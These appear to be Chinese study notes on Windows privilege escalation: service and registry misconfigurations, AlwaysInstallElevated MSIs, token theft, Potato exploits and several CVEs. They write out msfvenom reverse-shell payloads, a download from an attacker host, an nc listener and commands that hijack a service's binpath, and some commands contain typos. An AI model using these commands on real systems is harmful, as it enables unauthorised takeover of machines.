Windows提权总结
一:不安全的服务权限
基础知识:
应用软件注册服务时会在本地注册一些服务,并且大多数服务在计算机开机的时候以系统SYSTEM启动。
服务创建时,会在此创建注册表项。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
对于权限查找,我们可以用微软提供的AccessChk工具。
低权限用户可以检查Authenticated Users和INTERACTIVE组队系统服务的权限。
前者为经过身份验证的用户,包含系统中所有使用用户名,密码登陆并通过身份验证的账户。
后者为交互式用户组。包含系统中直接登陆到计算机进行操作的用户。
默认情况下这两个组均为Users组成员。
1.不安全的服务配置权限
利用微软的工具accessChk.exe查找服务。
accesschk.exe /accepteula -uwcqv “Authenticated Users” *
假如我们对InsproSvc服务拥有SERVICE_CHANGE_CONFIG权限:
*注意binpath后的空格
sc config InsproSbc binpath= “cmd.exe /k reverse_tcp.exe”
如果还有SERVICE_STOP和SERVICE_START
可以直接
sc stop name
sc start name
2.不安全的注册表权限
*注:这个和上一个不一样,是通过注册表修改ImagePath
accesschk.exe /accepteula -uvwqk “Authenticated Users” HKLM\SYSTEM\CurrentControlSet\Services
假如我们对某服务注册表有KEY_ALL_ACCESS权限。
reg add HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_SZ /d “cmd.exe /k reverse_tcp” /f
查看是否有重启权限:
accesschk.exe /accepteula -ucqv “Authenticated Users” some_services
*根据目标机软件提权:
查看安装在目标机的软件:
wmic product get name,version,vendor
*需要一分钟的时间。
wmic product可能不会返回所有安装的项目。
除此之外推荐检查桌面的shortcuts。可用的服务等。
完事后,我们就可以通过exploit-db或者google搜索exp。
metasploit:
在获取了meterpreter shell之后:
可以用multi/recon/local_exploit_suggester 模块枚举。
3.服务路径权限可控
accesschk.exe /accepteula -quv “C:\目录”
假如拥有FILE_ALL_ACCESS权限。
然后参考下面的即可
*自动化工具利用:
如果不用access查看,可以用winpeas一把嗦查找服务
或者使用powerup
这几个更方便。
查找到:
例如,我们有一个WindowsScheduler的服务。
sc qc WindowsScheduler:
然后看一下WService.exe文件:
可以看到所有都有M权限。我们可以轻易修改这个文件:
攻击机生成一个rev-svc.exe
msfvenom -p windows/x64/shell_reverse_tcpLHOST=ATTACKER_IPLPORT=4445-f exe-service -o rev-svc.exe
python -m http.server
利用powreshell获取:
wget http://attacker_ip:8000/rev-svc.exe -O rev-svc.exe
挪到下面,然后授予F权限(F, 完全控制,见最后一行)
在攻击机监听: nc -lvvp 4445
sc stop windowsscheduler
sc start windowsscheduler
重启下服务。
如果使用powershell,请用Set-Content代替sc,或者sc.exe代替sc
这样就提升到root权限了。
4:未引用的服务路径(Unquoted Services)
查找:
wmic service get DisplayName, PathName, StartMode |findstr /i /v “C:\Windows\“ | findstr /i /v “””
假如我们找到了:C:\Program Files\Unquoted Path\Sub dir\This_is_a_fucking_unquoted_service.exe
检查用户是否有权限:(一级一级查看,先查看最上面的)
accesschk.exe /accepteula /quv “Authenticated Users” “C:\Program Files\Unquoted Path"
然后
例如:
利用msfvenom生成反弹shell并传过去。
放在C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
重启服务。
或者直接shutdown -r -t 0
监听端口。拿到shell。
*上述都在powerup工具中完成了集成。
二:MSI安装策略提权
MSI安装策略提权,如果用户配置MSI安装策略,启用了“永远以搞特权进行安装”
AlwaysInstallElevated(默认情况下为禁用)
使得任何权限的用户都可以通过SYSTEM权限安装MSI(类似于SUID)
那么可以制作恶意msi文件进行提权。
MSI(Microsoft Installer)是微软格式的应用程序安装包。
确定是否存在漏洞:
查看注册表:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Polices\Microsoft\Windows\Installer /v AlwaysInstallElevated
利用msfvenom生成恶意msi文件:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445-f msi>myinstaller.msi
可以利用meterpreter上传
安装:
msiexec /quiet /qn /i myinstall.msi
#/quiet 安装期间禁止向用户发消息。
#/qn 无GUI模式允许
#/i 常规安装。
三:访问令牌操纵
Windows访问控制模型:(Access Control Model)
由访问令牌(Access Token), 安全描述符(Security Descriptor)两部分组成。
二者分别被访问者和被访问者拥有。通过比较访问令牌和安全描述符。windows可以对访问者是否有权限访问某资源判定。
通过操纵访问令牌,使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程,这常常使用内置的Windows API
从指定的进程中复制访问令牌,并将得到的访问令牌用于现有进程或生成新进程
从而达到权限提升并绕过访问控制的目的,称为:令牌窃取
利用条件:需要特权用户。因为通过令牌创建进程使用的
CreateProcessWithTokenW & CreateProcessAsUserA两个Windows API分别要求用户必须拥有:
SeImpersonatePrivilate和SeAssignPrimaryTOkenPrivilege/SeIncreateQuotaPrivilege特权。
拥有这两个的一般为:管理员账户,网络服务账户或者系统服务账户(如MSSQL, IIS)
可以上传incognito.exe进行令牌窃取。
第二种就是:meterpreter自带incognito
load incognito
use incognito
list_tokens -u
impersonate_token “xxx” #窃取xx的令牌
steal_token <PID> #从进程窃取令牌
如果要切回自己的权限:rev2self
通过令牌获取TrustedInstaller权限:
通常认为,SYSTEM权限为Windows系统中的最高权限,但是即便获取了SYSTEM也不能修改windows系统文件。如C:\Windows\servicing目录。
但其实通过icacls查看该目录,NT SERVICE\TrustedInstaller账户对其具有完全控制权限。
总Windows Vista开始系统内置了这么一个安全主体,拥有修改系统文件权限,专门用于系统进行维护更新。
通常以一个账户组出现:NT SERVICE\TrustedInstaller
TrustedInstall本质上是个服务,启动该服务会运行TrustedInstaller.exe 该程序在胸上的路径为:
“C:\Windows\servicing\TrustedInstaller.exe” 其拥有者为NT SERVICE\TrustedInstaller
可以通过窃取这个令牌获取TrustedInstaller权限。(Higher than SYSTEM!)
利用条件:SYSTEM权限。
如图,虽然不会显示TrustedInstaller,但是实际上是有这个权限的
小总结:
windows中权限依次提升顺序为:
Nomal Users –> Administrators –> SYSTEM –> TrustedInstaller
比较快捷的思路:我们可以在管理员的权限创建恶意服务,提升到SYSTEM,最后利用访问令牌窃取到TrustedInstaller最高权限。
恶意服务提升至SYSTEM,更多见权限维持篇。权限维持篇是以Administrator为基础展开。
- 事实上拿到Administrator,可以直接用meterpreter的getsystem。meterpreter已经集成了这个功能。
四:Potato家族提权
Rotten Potato(MS16-075)
只针对本地用户,不针对域用户。
适用版本:win 7 8 10 2008 2012
原理:
1:欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2:对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3:模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
上传rottenpotato.exe到攻击机。
meterpreter执行:execute -Hc -f rottenpotato.exe
此时执行list_tokens -u 就可以看到SYSTEM的凭证了。
之后正常进行令牌窃取就可。
JuicyPotato(MS-16-075 extend)
使用原作者的ps1脚本查一下COM对象
或者自己手动查。
再用这个:
*这个作者还有一个webshell的juicypotato非常好用。
提权命令:
Potato.exe -t t -p C:\Users\Public\Desktop\shell.exe -l 6666 -n 135 -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
*-p参数改为反弹shell路径也可。
-t 指定要使用CreateProcessWithTokenW / CreateProcessAsUserA()
哪个函数创建进程。
-n 指定本地RPC服务端口,默认135。 -c 指定要加载对象的CLSID。
利用条件:
需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL或者其他服务账户具有这两个权限)
开启DCOM
本地支持RPC或者远程服务器支持PRC并能成功登录
能够找到可用的COM对象
windows版本:
windows < windows 10 version 1809
windows server < Windows Server 2019
什么是DCOM:
DCOM(Distributed Component Object Model)是一种用于在分布式计算环境中进行组件通信的技术,特别是在Windows操作系统中广泛使用。DCOM是微软的COM(Component Object Model)的分布式版本,它允许在网络上的不同计算机上的组件之间进行通信和交互。
以下是关于DCOM在Windows中的一些关键概念:
组件(Component):组件是应用程序的可重用部分,可以包括对象、库和服务。这些组件可以在不同计算机上运行,并且可以通过DCOM进行通信。
COM 对象(COM Objects):COM(Component Object Model)对象是Windows中的可编程对象,具有公开的接口,可以通过这些接口与其他对象进行通信。COM对象是DCOM的基础。
分布式:DCOM允许在网络上的不同计算机上运行的COM对象进行通信。这使得分布式应用程序开发变得更加容易,因为您可以将组件部署在不同的计算机上,并通过网络进行通信。
接口(Interfaces):COM对象通过公开接口来定义其功能。其他对象可以通过调用这些接口上的方法来与COM对象进行通信。
远程过程调用(RPC):DCOM使用RPC技术来实现远程对象之间的通信。它允许对象在不同计算机上执行方法调用,就像它们在同一台计算机上一样。
注册表(Registry):DCOM信息通常在Windows注册表中注册,这包括COM对象的 CLSID(Class Identifier)和接口的 IID(Interface Identifier)等信息。这使得系统能够查找和调用正确的组件。
安全性:DCOM提供了一些安全机制,如身份验证和授权,以确保只有经过授权的应用程序可以访问远程对象。
如何查看DCOM是否开启:
dcomcnfg.exe /Query
*windows server 2012是默认开启的。
原理:
其实和Rotten差不多,是在其进行的扩展。比rotten更广泛使用:
· LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限
· 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程
· 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程
Juicy Potato的实现流程如下:
1、加载COM,发出请求,权限为System
在指定ip和端口的位置尝试加载一个COM对象。
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
2、回应步骤1的请求,发起NTLM认证
正常情况下,由于权限不足,当前权限不是System,无法认证成功。
3、针对本地端口,同样发起NTLM认证,权限为当前用户
由于权限为当前用户,所以NTLM认证能够成功完成。
RottenPotatoNG使用的135端口。
Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。
4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。
5、利用System权限的Token创建新进程
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限
*实验小结:
其实用了juicy的检查对象ps1脚本,第二个就是DCOM中的BIT对象。
3 PrintSpoofer(Pipe Potato)
PrintSpoofer64.exe -i -c cmd
打印机漏洞
漏洞原理:
不看了,看不太懂。
影响版本:
* Windows Server 2019 (Server Core installation)
* Windows Server 2012 R2 (Server Core installation)
* Windows Server 2012 R2
* Windows Server 2012 (Server Core installation)
* Windows Server 2012
* Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
* Windows RT 8.1
* Windows 8.1 for x64-based systems
* Windows 8.1 for 32-bit systems
* Windows 7 for x64-based Systems Service Pack 1
* Windows 7 for 32-bit Systems Service Pack 1
* Windows 10 Version 1607 for x64-based Systems
* Windows 10 Version 1607 for 32-bit Systems
4:SweetPotato(集成工具)
见sweetpotato.exe or github
其他大漏洞
1:HiveNightmare(CVE-2021-36934)
标准用户未授权读取系统文件,可进行哈希传递攻击或暴力破解攻击。
影响版本:windows 10 version 1809以前所有版本。
工具:见github。
2:Zerologin(CVE-2020-1472)
域内提权漏洞,可以重置域控密码。
工具:直接搜cve-2020-1472-exploit.py
mimikatz也集成了该模块。
3:Print Spooler系列漏洞
这个是windows的打印后台处理服务,控制打印工作。该服务默认开启。
PrintDemon(CVE-2020-1048)
PrintNightmare(CVE-2021-1675 / CVE-2021-34527)
一个是权限提升,另一个是RCE
这些都在metasploit中集成了。
4:Nopac域内提取
和kerberoas协议有关。(CVE-2022-26923)